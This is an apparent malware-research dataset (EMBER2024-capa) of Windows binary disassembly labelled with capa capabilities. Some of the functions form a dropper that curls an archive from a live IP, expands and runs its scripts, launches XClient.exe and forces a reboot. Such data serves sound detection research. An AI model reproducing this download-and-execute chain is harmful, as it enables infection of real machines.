joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1416b9058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1416b91df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1416b9089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1416b906f
add dl, dl
jne 0x1416b9096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1416b90f6
xor eax, eax
add dl, dl
jne 0x1416b90a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1416b91ad
add dl, dl
jne 0x1416b90b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1416b90c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1416b90d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1416b90dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1416b90ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1416b907e
mov eax, 1
add dl, dl
jne 0x1416b9106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1416b9113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1416b90fb
sub eax, ebx
mov ebx, 1
jne 0x1416b914c
mov ecx, 1
add dl, dl
jne 0x1416b912e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1416b913b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1416b9123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1416b907e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1416b9168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1416b9175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1416b915d
cmp eax, 0x7d00
jae 0x1416b919b
cmp eax, 0x500
jb 0x1416b9196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1416b907e
cmp eax, 0x7f
ja 0x1416b919e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1416b907e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1416b91d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1416b907e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14000e1d0
Capabilities:
Create process on windows
Create process suspended

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x420]
sub rsp, 0x520
mov rax, qword [0x140222820]
xor rax, rsp
mov qword [rbp + 0x410], rax
mov rcx, rdx
mov rbx, r8
call qword [sym.imp.Qt5Core.dll_public:_unsigned_short_int_const____ptr64___cdecl_QString::utf16_void_const___ptr64]
xor edx, edx
lea rcx, [rbp]
mov r8d, 0x410
mov rdi, rax
call sub.VCRUNTIME140.dll_memset
mov r8, qword [rbx]
cmp dword [r8 + 4], 0
je 0x14000e24b
mov rcx, rbx
call qword [sym.imp.Qt5Core.dll_public:_unsigned_short_int_const____ptr64___cdecl_QString::utf16_void_const___ptr64]
mov r9, rdi
lea r8, str.__s___s
lea rcx, [rbp]
mov qword [rsp + 0x20], rax
mov edx, 0x410
call fcn.1400040e8
and qword [rsp + 0x60], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x60]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000e37b
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x68]
and qword [rsp + 0x68], 0
mov r9d, 2
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov edx, 0x20f01ff
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x70]
and qword [rsp + 0x70], 0
xor r8d, r8d
call qword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
xor eax, eax
lea rcx, [rbp - 0x70]
xorps xmm0, xmm0
mov qword [rbp - 0x78], rax
xor edx, edx
movups xmmword [rsp + 0x78], xmm0
lea ebx, [rax + 0x70]
mov r8d, ebx
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rsp + 0x68]
lea rax, str.winsta0default
mov qword [rbp - 0x60], rax
lea r8, [rbp]
lea rax, [rsp + 0x78]
mov dword [rbp - 0x70], ebx
mov qword [rsp + 0x50], rax
xor r9d, r9d
lea rax, [rbp - 0x70]
mov rdx, rdi
mov qword [rsp + 0x48], rax
and qword [rsp + 0x40], 0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x628
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
setne bl
test eax, eax
je 0x14000e352
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.USERENV.dll_DestroyEnvironmentBlock]
test bl, bl
je 0x14000e37b
mov al, 1
jmp 0x14000e37d
xor al, al
mov rcx, qword [rbp + 0x410]
xor rcx, rsp
call fcn.14001af30
lea r11, [rsp + 0x520]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret

Function at 0x140010c38
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 9], 0
mov rdx, rcx
je 0x140010c6b
xor r8d, r8d
mov cl, r8b
movabs rax, 0x51533f1509c71599
and cl, 7
shl cl, 3
shr rax, cl
xor byte [r8 + rdx], al
inc r8
cmp r8, 9
jb 0x140010c44
mov byte [rdx + 9], 0
mov rax, rdx
ret
Function at 0x140010c70
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x25], 0
mov rdx, rcx
je 0x140010ca3
xor r8d, r8d
mov cl, r8b
movabs rax, 0x61a7ddf587214d1b
and cl, 7
shl cl, 3
shr rax, cl
xor byte [r8 + rdx], al
inc r8
cmp r8, 0x25
jb 0x140010c7c
mov byte [rdx + 0x25], 0
mov rax, rdx
ret

Function at 0x140010ca8
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 8], 0
mov rdx, rcx
je 0x140010cdb
xor r8d, r8d
mov cl, r8b
movabs rax, 0x33936bbb8fbf972b
and cl, 7
shl cl, 3
shr rax, cl
xor byte [r8 + rdx], al
inc r8
cmp r8, 8
jb 0x140010cb4
mov byte [rdx + 8], 0
mov rax, rdx
ret

Function at 0x140010ce0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xa], 0
mov rdx, rcx
je 0x140010d13
xor r8d, r8d
mov cl, r8b
movabs rax, 0xb5e3ff6f79e787bf
and cl, 7
shl cl, 3
shr rax, cl
xor byte [r8 + rdx], al
inc r8
cmp r8, 0xa
jb 0x140010cec
mov byte [rdx + 0xa], 0
mov rax, rdx
ret

Function at 0x140010d18
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 9], 0
mov rdx, rcx
je 0x140010d4b
xor r8d, r8d
mov cl, r8b
movabs rax, 0x717f5d0f8b9d9be7
and cl, 7
shl cl, 3
shr rax, cl
xor byte [r8 + rdx], al
inc r8
cmp r8, 9
jb 0x140010d24
mov byte [rdx + 9], 0
mov rax, rdx
ret
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x1400066e0]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rbp
mov rax, rdi
lock cmpxchg qword [rbx], rsi
test rax, rax
jne 0x1400011b0
mov rsi, qword [0x1400066f0]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x140009008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x140006640]
mov rax, qword [rax]
test rax, rax
je 0x140001223
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call fcn.140001910
mov rcx, qword [0x140006770]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x1400066d0]
lea rcx, section..text
mov qword [rdx], rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.140001720
mov ebx, dword [0x140009028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r12, qword [0x140009020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
mov rcx, qword [r12 + rbx]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x140009020], rbp
call fcn.140001520
mov rax, qword [0x140006660]
mov r8, qword [0x140009018]
mov ecx, dword [0x140009028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x140009020]
call fcn.140003360
mov ecx, dword [0x14000900c]
mov dword [0x140009010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x140009008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x1400066f0]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011e1
mov ecx, 0x1f
call fcn.1400026f0
mov eax, dword [rsi]
cmp eax, 1
jne 0x140001200
mov rdx, qword [0x140006710]
mov rcx, qword [0x140006700]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001208
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001208
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x140009010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x140006730]
mov rcx, qword [0x140006720]
mov dword [rsi], 1
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
jmp 0x1400011f5
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
nop
sub rsp, 0x28
mov rax, qword [0x140006680]
mov dword [rax], 1
call fcn.140001180
nop
nop
add rsp, 0x28
ret
Function at 0x140001730
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call fcn.140002510
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]

Function at 0x1400017a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140009094]
mov rbx, rcx
test esi, esi
jle 0x1400018d0
mov rax, qword [0x140009098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400017eb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001875
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400017d0
mov rcx, rbx
call fcn.1400021f0
mov rdi, rax
test rax, rax
je 0x1400018f2
mov rax, qword [0x140009098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002330
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140009098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400018d7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000186e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001880
add dword [0x140009094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140009098]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000186e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001730
nop dword [rax]
xor esi, esi
jmp 0x1400017f8
mov rax, qword [0x140009098]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001730
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001730
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x140001e60
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140009100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400090e0]
test rbx, rbx
je 0x140001ebc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140001eb3
test rsi, rsi
je 0x140001eb3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001e98
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400021f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140006650]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002210
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002218
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002210
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000226d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002264
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002210
add rax, 0x28
cmp rax, r9
jne 0x140002250
xor eax, eax
ret

Function at 0x140002270
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140006650]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000228f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002298
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000228f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002330
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140006650]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000234f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002358
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140002a30
Capabilities:
Get file version info

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [str.powershell.exe]
lea rdx, [rbp - 0x1c]
mov rcx, rax
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
jne 0x140002a5e
mov eax, 0
jmp 0x140002b13
mov eax, dword [rbp - 4]
mov rcx, rax
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x140002a7e
mov eax, 0
jmp 0x140002b13
mov edx, dword [rbp - 0x1c]
mov rax, qword [str.powershell.exe]
mov r8, qword [rbp - 0x10]
mov ecx, dword [rbp - 4]
mov r9, r8
mov r8d, ecx
mov rcx, rax
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
je 0x140002b02
lea rcx, [rbp - 0x2c]
lea rdx, [rbp - 0x28]
mov rax, qword [rbp - 0x10]
mov r9, rcx
mov r8, rdx
lea rdx, [0x140006171]
mov rcx, rax
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x140002b02
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x10]
shr eax, 0x10
movzx eax, ax
mov dword [rbp - 0x14], eax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x10]
movzx eax, ax
mov dword [rbp - 0x18], eax
cmp dword [rbp - 0x14], 4
ja 0x140002aef
cmp dword [rbp - 0x14], 4
jne 0x140002b02
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov eax, 1
jmp 0x140002b13
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov eax, 0
add rsp, 0x50
pop rbp
ret

Function at 0x140002b20
Capabilities:
Create process on windows

Disassembly:
push rbp
push rdi
sub rsp, 0x98
lea rbp, [rsp + 0x90]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov dword [rbp + 0x30], r8d
lea rdx, [rbp - 0x70]
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x70], 0x70
mov dword [rbp - 0x6c], 0x40
mov qword [rbp - 0x68], 0
lea rax, str.open
mov qword [rbp - 0x60], rax
mov rax, qword [rbp + 0x20]
mov qword [rbp - 0x58], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 0
mov dword [rbp + 0x30], 0
mov dword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
lea rax, [rbp - 0x70]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteExA]
call rax
test eax, eax
je 0x140002be0
mov rax, qword [rbp - 8]
mov edx, 0x3ff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x140002be5
mov eax, 0
add rsp, 0x98
pop rdi
pop rbp
ret
Function at 0x140002bf0
Capabilities:
Execute command

Disassembly:
push rbp
sub rsp, 0x140
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xd0], rcx
mov qword [rbp + 0xd8], rdx
lea rax, [0x140006157]
mov rdx, rax
lea rax, str.tmp.vbs
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
mov qword [rbp + 0xb8], rax
mov r8, qword [rbp + 0xd8]
mov rcx, qword [rbp + 0xd0]
mov rax, qword [rbp + 0xb8]
mov rdx, qword [rbp + 0xd8]
mov qword [rsp + 0x28], rdx
mov rdx, qword [rbp + 0xd8]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
lea rdx, str.Function_un___n_tSet_a__CreateObject__Shell.Application___n_tSet_b__CreateObject__Scripting.FileSystemObject___n_tSet_c__a.Namespace___s___n_tSet_d__a.Namespace___s___n_tIf_Not_c_Is_Nothing_Then_n_tIf_Not_b.FolderExists___s___Then_n_t_tb.CreateFolder___s___n_tEnd_If_n_td.CopyHere_c.Items_n_tEnd_If_nEnd_Function_nun
mov rcx, rax
call fcn.140002580
mov rax, qword [rbp + 0xb8]
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
lea rax, str.cscript_tmp.vbs
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_system
add rsp, 0x140
pop rbp
ret

Function at 0x140002ca0
Capabilities:
Get file attributes

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
mov dword [rbp - 4], eax
mov dword [rbp - 4], 0xffffffff
mov eax, 0
add rsp, 0x30
pop rbp
ret
Function at 0x140002ce0
Capabilities:
Query environment variable

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
lea rax, str.TEMP
mov rcx, rax
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
mov rcx, rax
call sub.api_ms_win_crt_filesystem_l1_1_0.dll__chdir
mov rdx, qword [str.def_tqt.zip]
mov rax, qword [str.def_tqt.zip]
mov r8, qword [str.curl]
mov rcx, qword [0x140004130]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
lea rax, str.http:__90.61.145.105
mov qword [rsp + 0x20], rax
mov r9, r8
mov r8, rcx
lea rax, str._s___s__s__s___output__s_
mov rdx, rax
lea rax, [0x140004d20]
mov rcx, rax
call fcn.140002530
mov rdx, qword [str._Get_ChildItem__Path_.__Filter_.zip__ForEach_Object__Expand_Archive___.FullName__DestinationPath_.__]
mov rax, qword [0x140004130]
mov r9, rdx
mov r8, rax
lea rax, str._s__s
mov rdx, rax
lea rax, [0x1400043c0]
mov rcx, rax
call fcn.140002530
mov rdx, qword [0x140004130]
mov rax, qword [0x140005970]
mov r9, qword [str.shutdown__r__t]
mov r8, qword [0x140004130]
lea rcx, str.Votre_ordinateur_entreprend_un_restart_pour_lapplication
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
lea rax, str._s___s__s__s___s__
mov rdx, rax
lea rax, [0x1400054c0]
mov rcx, rax
call fcn.140002530
mov rax, qword [str.cmd.exe]
mov r8d, 1
lea rdx, [0x140004d20]
mov rcx, rax
call fcn.140002b20
mov dword [rbp - 8], eax
call fcn.140002a30
test eax, eax
je 0x140002e14
mov rax, qword [str.powershell.exe]
mov r8d, 1
lea rdx, [0x1400043c0]
mov rcx, rax
call fcn.140002b20
mov dword [rbp - 4], eax
jmp 0x140002ea3
mov rax, qword [str.def_tqt.zip]
mov r9d, 0
lea r8, [0x140004180]
mov edx, 0x104
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
call rax
mov r8d, 0x104
lea rax, [0x1400042a0]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
mov edx, 0x5c
lea rax, [0x1400042a0]
mov rcx, rax
call sub.api_ms_win_crt_private_l1_1_0.dll_strrchr
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x140002e9c
mov rax, qword [rbp - 0x10]
mov byte [rax], 0
mov rax, qword [rbp - 0x10]
mov rdx, rax
lea rax, [0x140004180]
mov rcx, rax
call fcn.140002bf0
mov dword [rbp - 4], 1
jmp 0x140002ea3
mov dword [rbp - 4], 0
lea rax, str.def_tqt
mov rcx, rax
call sub.api_ms_win_crt_filesystem_l1_1_0.dll__chdir
mov rdx, qword [0x1400059a0]
mov rax, qword [str.Script_Run.bat]
mov r8d, 1
mov rcx, rax
call fcn.140002b20
mov dword [rbp - 0x14], eax
call fcn.140002f20
mov rax, qword [str.cmd.exe]
mov r8d, 1
lea rdx, [0x1400054c0]
mov rcx, rax
call fcn.140002b20
mov dword [rbp - 0x18], eax
cmp dword [rbp - 8], 0
je 0x140002f14
cmp dword [rbp - 4], 0
je 0x140002f14
cmp dword [rbp - 0x14], 0
je 0x140002f14
cmp dword [rbp - 0x18], 0
je 0x140002f14
mov eax, 1
jmp 0x140002f19
mov eax, 0
add rsp, 0x60
pop rbp
ret
Function at 0x140003230
Capabilities:
Query environment variable

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rax, str.TEMP
mov rcx, rax
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
mov rcx, rax
call sub.api_ms_win_crt_filesystem_l1_1_0.dll__chdir
mov rax, qword [str.XClient.exe]
mov rcx, rax
call fcn.140002ca0
test eax, eax
je 0x14000327c
mov rax, qword [str.def_tqt.zip]
mov rcx, rax
call fcn.140002ca0
test eax, eax
je 0x14000327c
mov eax, 1
jmp 0x140003281
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140003300
Capabilities:
Query environment variable
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rax, str.TEMP
mov rcx, rax
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
mov rcx, rax
call sub.api_ms_win_crt_filesystem_l1_1_0.dll__chdir
call fcn.1400032d0
test eax, eax
je 0x14000334c
mov rax, qword [str.XClient.exe]
mov r8d, 1
mov edx, 0
mov rcx, rax
call fcn.140002b20
mov ecx, 0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140003360
Capabilities:
Query environment variable

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call fcn.140001520
lea rax, str.TEMP
mov rcx, rax
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
mov rcx, rax
call sub.api_ms_win_crt_filesystem_l1_1_0.dll__chdir
call fcn.140003300
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1400033a0
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov dword [rbp - 4], 0
mov rax, qword [str.SOFTWAREMicrosoftWindowsCurrentVersionRun]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x10]
lea rdx, [rbp - 0x28]
mov qword [rsp + 0x20], rdx
mov r9d, 0x20019
mov r8d, 0
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov dword [rbp - 0x1c], eax
cmp dword [rbp - 0x1c], 0
jne 0x14000344e
mov rax, qword [rbp - 0x28]
lea r8, [rbp - 0x2c]
mov rdx, qword [rbp - 0x18]
lea rcx, [rbp - 0x30]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
mov dword [rbp - 0x1c], eax
cmp dword [rbp - 0x1c], 0
jne 0x14000343e
mov dword [rbp - 4], 1
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, dword [rbp - 4]
add rsp, 0x60
pop rbp
ret
Function at 0x140008aec
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140008b36
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140008b36
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140008b36
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140008b36
cmp dword [rcx + 0x84], 0xe
jbe 0x140008b36
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140008b38
xor al, al
add rsp, 0x28
ret